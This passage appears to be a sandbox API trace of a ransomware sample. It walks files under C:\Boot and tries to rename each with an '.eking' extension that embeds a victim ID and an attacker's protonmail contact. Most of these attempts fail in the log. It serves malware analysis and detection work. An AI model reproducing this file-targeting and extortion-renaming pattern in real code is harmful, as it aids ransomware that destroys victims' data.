(hObject=0x1b0) returned 1 [0164.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0164.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui")) returned 0x20 [0164.844] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.844] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\bootmgr.exe.mui" (normalized: "c:\\boot\\en-us\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.845] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.845] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=43600) returned 1 [0164.845] CloseHandle (hObject=0x1b0) returned 1 [0164.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0164.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0164.845] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.845] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.846] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.846] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=90192) returned 1 [0164.846] CloseHandle (hObject=0x1b0) returned 1 [0164.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0164.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui")) returned 0x20 [0164.846] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.846] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\es-ES\\bootmgr.exe.mui" (normalized: "c:\\boot\\es-es\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.847] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.847] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=89152) returned 1 [0164.847] CloseHandle (hObject=0x1b0) returned 1 [0164.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0164.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui")) returned 0x20 [0164.847] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.848] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.849] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.849] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3694080) returned 1 [0164.849] CloseHandle (hObject=0x1b0) returned 1 [0164.849] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0x20 [0164.849] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0164.850] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf")) returned 0 [0164.850] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.852] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3876772) returned 1 [0164.852] CloseHandle (hObject=0x1b0) returned 1 [0164.852] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0x20 [0164.852] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0164.852] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf")) returned 0 [0164.852] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.852] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1984228) returned 1 [0164.853] CloseHandle (hObject=0x1b0) returned 1 [0164.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0164.853] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0164.853] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0 [0164.853] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.853] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=2371360) returned 1 [0164.853] CloseHandle (hObject=0x1b0) returned 1 [0164.853] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0164.854] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0164.854] MoveFileW (lpExistingFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0 [0164.854] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.854] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=47452) returned 1 [0164.854] CloseHandle (hObject=0x1b0) returned 1 [0164.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0164.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0164.857] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.858] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.858] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.858] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=93248) returned 1 [0164.858] CloseHandle (hObject=0x1b0) returned 1 [0164.858] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0164.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0164.859] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.859] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.859] ResetEvent (hEvent=0x178) returned 1 [0164.859] SetEvent (hEvent=0x17c) returned 1 [0164.859] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.859] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=90688) returned 1 [0164.859] CloseHandle (hObject=0x1b0) returned 1 [0164.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0164.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0164.860] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.860] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.860] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0164.861] ResetEvent (hEvent=0x178) returned 1 [0164.861] SetEvent (hEvent=0x17c) returned 1 [0164.862] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0164.862] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=90704) returned 1 [0164.862] CloseHandle (hObject=0x1b8) returned 1 [0164.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0164.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0164.862] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.862] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.863] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0164.864] ResetEvent (hEvent=0x178) returned 1 [0164.864] SetEvent (hEvent=0x17c) returned 1 [0164.864] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0164.865] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=76352) returned 1 [0164.865] CloseHandle (hObject=0x1b8) returned 1 [0164.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0164.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0164.865] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.865] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.865] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0164.956] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.957] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=75344) returned 1 [0164.957] CloseHandle (hObject=0x1b0) returned 1 [0164.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0164.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0164.957] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.957] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.958] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.959] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=485760) returned 1 [0164.959] CloseHandle (hObject=0x1b0) returned 1 [0164.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0164.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0164.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\memtest.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.959] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.960] ResetEvent (hEvent=0x178) returned 1 [0164.960] SetEvent (hEvent=0x17c) returned 1 [0164.960] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.960] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=88144) returned 1 [0164.960] CloseHandle (hObject=0x1b0) returned 1 [0164.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0164.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui")) returned 0x20 [0164.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0164.961] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0164.961] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.172] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.174] ResetEvent (hEvent=0x178) returned 1 [0165.174] SetEvent (hEvent=0x17c) returned 1 [0165.174] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.174] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=90704) returned 1 [0165.174] CloseHandle (hObject=0x1c0) returned 1 [0165.174] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0165.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui")) returned 0x20 [0165.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.175] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.175] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.178] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.179] ResetEvent (hEvent=0x178) returned 1 [0165.179] SetEvent (hEvent=0x17c) returned 1 [0165.180] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.180] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=89664) returned 1 [0165.180] CloseHandle (hObject=0x1c0) returned 1 [0165.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0165.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0165.180] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.180] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.182] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.188] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.190] ResetEvent (hEvent=0x178) returned 1 [0165.190] SetEvent (hEvent=0x17c) returned 1 